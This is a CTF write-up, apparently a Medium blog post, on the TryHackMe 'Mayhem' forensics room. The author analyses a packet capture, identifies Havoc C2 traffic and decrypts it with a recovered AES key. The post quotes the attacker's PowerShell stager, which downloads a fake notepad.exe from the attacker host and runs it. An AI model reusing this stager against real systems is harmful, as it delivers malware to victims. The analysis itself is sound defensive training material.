Sitemap
Domon

Domon

Interested in Hacking and Computer Networking.

Mayhem THM | Writeup

9 min readApr 21, 2025

--

Press enter or click to view image in full size

INTRO

A CTF room focused on blue teaming, with emphasis on network analysis and forensics. If you would like to take a crack at this room:

TryHackMe | Mayhem

Background:
Beneath the tempest’s roar, a quiet grace,
Mayhem’s beauty in a h idden place.
Within the chaos, a paradox unfolds,
A tale of beauty, in disorder it molds.

FOLLOW THE CRUMBS

We are given a zip file with a packet capture compressed within it. After unzipping it and opening it in Wireshark,

Press enter or click to view image in full size

We can ignore the first few packets as the host is just ending active HTTP(S) connections, as seen by the FIN flag being set. After that, we see host A (10.0.2.38) establishing a connection with host B (10.0.2.37). After the three-way handshake, we see host A requesting a file, install.ps1. Following the HTTP stream,

Press enter or click to view image in full size
$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";
$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";
Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;
$65lmAtnzW8 = New-Object System.Net.WebClient;
$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);
Start-Process -Filepath $LA4rJgSPpx

With this information, we can make an educated guess that host A (10.0.2.38) is the compromised system and host B (10.0.2.37) is the attacker/C2 Server. This is backed up by the fact that host B is running a Python SimpleHTTP server, which is usually used for transferring post-exploitation tools. We can see from the PowerShell code (.ps1) that it retrieves notepad.exe twice and saves it at “C:\Users\paco\Downloads\notepad.exe”. Clearly, this is not your run-of-the-mill notepad executable.

Now, we need to extract “notepad.exe” from the packet capture. To do this, go to File > Export Objects > HTTP… Choose either of the two notepad.exe and save it.

Press enter or click to view image in full size

Using strings to analyse the malicious notepad executable,

Press enter or click to view image in full size

we see at the very bottom there is a reference to another executable, demon.x64.exe. If we want a more detailed analysis of this executable, we can use every security enthusiast’s favourite malware analysis database, VirusTotal.

Press enter or click to view image in full size

Clearly, this executable is a malware that tries to hide itself as the good old notepad.exe. Looking at the VirusTotal analysis details and community comments, all fingers point to a popular C2 tool, Havoc C2.

So, our timeline is this:

Press enter or click to view image in full size

UNDERSTANDING HAVOC C2

Havoc is a modern, malleable post-exploitation command and control framework made for penetration testers, red teams, and blue teams.

How does Havoc work?

The Havoc Framework is split into 2 parts. The Teamserver handles connected operators, tasking agents and parsing the callback, listeners, and downloaded files and screenshots from the agents. It should run on a public VPS to be accessible by known and registered operators.
The Client is the user interface for the server. There you can interact, task agent’s commands and receive output from them.

Havoc supports C2 listeners for HTTP(S). Looking back at our packet capture, right after the retrieval and execution of the malicious executable, we can see the target reaching out to port 80 of the C2 server.

Press enter or click to view image in full size

For analysis of packets sent by Havoc C2, the two resources I have referred to are:

The latter GitHub resource is updated and accurate, but requires you to read through the code to understand the inner workings of Havoc. No worries though, I will be explaining how it works as well. The latter also allows for automated analysis by running a script, but I will be doing the analysis manually.

From the first resource, we can gather that the main function call is DemonRoutine(). It calls the function TransportInit() to connect successfully to the C2 server and send all required information. Every packet sent by the Havoc C2 tool, whether from the Agent or the Server, is AES encrypted. The first POST request packet sent by the Agent contains metadata information, which includes both the AES key and IV. (Please ignore the diagram from the first resource describing the bytes of the C2 packets as it is not updated.)

From the second resource, looking at PacketCapture/havoc-pcap-parser.py, I have picked out the functions and variables that matter most.

demon_constants = {
1: "GET_JOB",
...
99: 'DEMON_INIT',
...
}
...
def aes_decrypt_ctr(aes_key, aes_iv, encrypted_payload):
# Initialize the counter for CTR mode
ctr = Counter.new(128, initial_value=int.from_bytes(aes_iv, byteorder='big'))

# Create the cipher in CTR mode
cipher = AES.new(aes_key, AES.MODE_CTR, counter=ctr)

# Decrypt the payload
decrypted_payload = cipher.decrypt(encrypted_payload)

return decrypted_payload
...
def parse_header(header_bytes):
"""
Parses a 20-byte header into an object.

:param header_bytes: A 20-byte header.
:return: A dictionary representing the parsed header.
"""
if len(header_bytes) != 20:
raise ValueError("Header must be exactly 20 bytes long")

# Unpack the header
payload_size, magic_bytes, agent_id, command_id, mem_id = struct.unpack('>I4s4sI4s', header_bytes)

# Convert bytes to appropriate representations
magic_bytes_str = binascii.hexlify(magic_bytes).decode('ascii')
agent_id_str = binascii.hexlify(agent_id).decode('ascii')
mem_id_str = binascii.hexlify(mem_id).decode('ascii')
command_name = demon_constants.get(command_id, f'Unknown Command ID: {command_id}')

return {
'payload_size': payload_size,
'magic_bytes': magic_bytes_str,
'agent_id': agent_id_str,
'command_id': command_name,
'mem_id': mem_id_str
}
...
def parse_request(http_pair, magic_bytes, save_path):
request = http_pair['request']
response = http_pair['response']#

unique_id = uuid4()

print("[+] Parsing Request")


try:
request_body = tsharkbody_to_bytes(request.get('file_data', ''))
header_bytes = request_body[:20] #20 bytes
request_payload = request_body[20:]
request_header = parse_header(header_bytes)
except Exception as e:
print(f"[!] Error parsing request body: {e}")
return


# If there is no magic this is not Havoc
if request_header.get("magic_bytes", '') != magic_bytes:
return


if request_header['command_id'] == 'DEMON_INIT':
print("[+] Found Havoc C2")
print(f" [-] Agent ID: {request_header['agent_id']}")
print(f" [-] Magic Bytes: {request_header['magic_bytes']}")
print(f" [-] C2 Address: {request.get('uri')}")

aes_key = request_body[20:52] #32 Bytes
aes_iv = request_body[52:68] #16 Bytes

print(f" [+] Found AES Key")
print(f" [-] Key: {binascii.hexlify(aes_key).decode('ascii')}")
print(f" [-] IV: {binascii.hexlify(aes_iv).decode('ascii')}")

if request_header['agent_id'] not in sessions:
sessions[request_header['agent_id']] = {
"aes_key": aes_key,
"aes_iv": aes_iv
}

# We dont want to process the rest of the request
response_payload = None

elif request_header['command_id'] == 'GET_JOB':
print(" [+] Job Request from Server to Agent")
# if the pcap did not contain an init or we have manually passed keys add the found keys message

# Grab the response header to get the incoming request.

try:
response_body = tsharkbody_to_bytes(response.get('file_data', ''))

except Exception as e:
print(f"[!] Error parsing request body: {e}")
return


header_bytes = response_body[:12]
response_payload = response_body[12:]
command_id = struct.unpack('<H', header_bytes[:2])[0]
...

From the code, we learnt that the AES mode is CTR. The data sent with every POST request contains payload size, magic bytes, agent ID, command ID and mem ID in sequence, which make up the first 20 bytes. (4 Bytes for each field) We also know that the AES key is 32 bytes and IV is 16 bytes. Let's go back to our packet capture and look at the File Data sent in the first POST request. (Packet no. 182)

Press enter or click to view image in full size

Make sure you are viewing the hex values of File Data by clicking on the field. Wireshark automatically highlights the relevant Hex values of File Data. From the image above, the orange/peach coloured box highlights the command ID. Converting it to decimal gives 99, which, from kevthehermit’s dictionary of demon constants, represents DEMON_INIT. This means that this is the packet we must analyse to obtain the AES key and IV, as subsequent POST requests and responses will not contain the key and IV. I have already highlighted the AES key above in Pink and IV in Black.

AES_KEY: 94 6c f2 f6 5a c2 d2 b8 68 32 8a 18 de dc c2 96 cc 40 fa 28 fa b4 1a 0c 34 dc c0 10 98 44 10 ca
IV: 8c d0 0c 3e 34 92 90 56 5a aa 5a 8c 3a ac d4 30

The rest of the unhighlighted parts are the encrypted metadata. The decryption tool I have chosen to use is CyberChef. Let’s test out whether the Key and IV discovered are working. We will use the encrypted metadata in the rest of the File Data portion as our ciphertext.

Cipher_Text: 340cd2bc567802a30e1c2722bb2135dbfe9b76cc0f486e975aaf1f21a6ad13f9ef282131470a0191c974b4f5c2369005227811dcfb9708192e358fe9dfbf4214760291da15237a0f2e5db5b1e718d48ef01af5e724767c95a1b5c136cc744d75edcb1747847d1b6a22df5a23531442b73329c2b2ae46e1ab2506f548bd1b706892c6d4b8c66c206b0a668752ef7203b3e7627cb2fa5677998779347a00d75cadc5e60d67f78e4cbe1318e8d738475d774ae18dbb6ee25e0a3c3255dfe2b0fc3e220e87fd3a5c7bba8ed1df272387b57fd836f0

(*TIP: A good way to extract only the hex value from the File Data is to right-click File Data Field > copy > …as a Hex Stream)

Press enter or click to view image in full size

Inputting the AES key, IV, CTR Mode, Hex Input and Raw Output option and ciphertext, we see our result!

Press enter or click to view image in full size

Before going on to decrypt any more POST requests from the agent or responses from the C2 server, it is important to note where the encrypted text starts.

Get Domon’s stories in your inbox

Join Medium for free to get updates from this writer.

Inside POST requests, the encrypted data starts 20 bytes after the start of the File Data. Since 20 Bytes = 40 Hex Digits (1 Byte = 2 Hex Digits), every time we copy the File Data value as a Hex Stream, we have to remove the first 40 Hex Digits for successful decryption.

Inside Responses from C2 Servers, i.e. (HTTP/1.1 200 OK), the encrypted command sent only starts 12 bytes after the start of the File Data. Therefore, when we copy the File Data value as a Hex Stream, we must remove the first 24 Hex Digits.

Before we start analysing the packets, let’s make it easier for ourselves by limiting the packet list to only the most relevant ones. Many POST requests have exactly 20 Bytes of File data, and many responses have exactly 12 Bytes of File Data. This means that the Agent is just checking in with the C2 Server, and neither has encrypted data to be sent, which means it is useless for us to analyse. Therefore, we can use this display filter in Wireshark:

tcp.port != 1337 && http && !(http.file_data == 00:00:00:10:de:ad:be:ef:0e:9f:b7:d8:00:00:00:01:00:00:00:00) && !(http.file_data == 0a:00:00:00:00:00:00:00:00:00:00:00)

If you are still here, Congrats, we are done with the explanations. Now, it is simply yanking, pasting and editing in CyberChef to get our answers!

1. What is the SID of the user that the attacker is executing everything under?

Command Decrypted (Packet no. 236):

Press enter or click to view image in full size

Response Decrypted (Packet no. 239):

Press enter or click to view image in full size

Ans: S-1–5–21–679395392–3966376528–1349639417–1103

2. What is the Link-local IPv6 Address of the server? Enter the answer exactly as you see it.

Command Decrypted (Packet no. 266):

Press enter or click to view image in full size

Response Decrypted (Packet no. 274):

Press enter or click to view image in full size

Ans: fe80::e134:1b0c:c8d5:3020%6

(Why is there a %6 in an IPv6 address? I have no idea!)

3. The attacker printed a flag for us to see. What is that flag?

Command Decrypted (Packet no. 333):

Press enter or click to view image in full size

Response Decrypted (Packet no. 341):

Press enter or click to view image in full size

Ans: FIND IT YOURSELF!!! 🤐

4. The attacker added a new account as a persistence mechanism. What is the username and password of that account? Format is username:password

Command Decrypted (Packet no. 378):

Press enter or click to view image in full size

Ans: administrato:???

5. The attacker found an important file on the server. What is the full path of that file?

Command Decrypted (Packet no. 602):

Press enter or click to view image in full size

Ans: C:\Users\paco\Desktop\Files\clients.csv

6. What is the flag found inside the file from question 5?

Response Decrypted (Packet no. 610):

Press enter or click to view image in full size

Ans: FIND IT YOURSELF!!! 😽

CONCLUSION

Great room for anyone aspiring to work in SOC or become part of the blue teamers! The difficult part of this room for me was finding out about the use of Havoc C2 and finding resources and documentation on Havoc C2’s inner workings, instead of reading through a load of code. Been liking THM’s streak of Blue CTF Rooms, taught me a great deal about digital forensics and analysis! Thanks to tryhackme and hadrian3689 for this room! 👏

--

Domon
Domon

Written by Domon

Interested in Hacking and Computer Networking.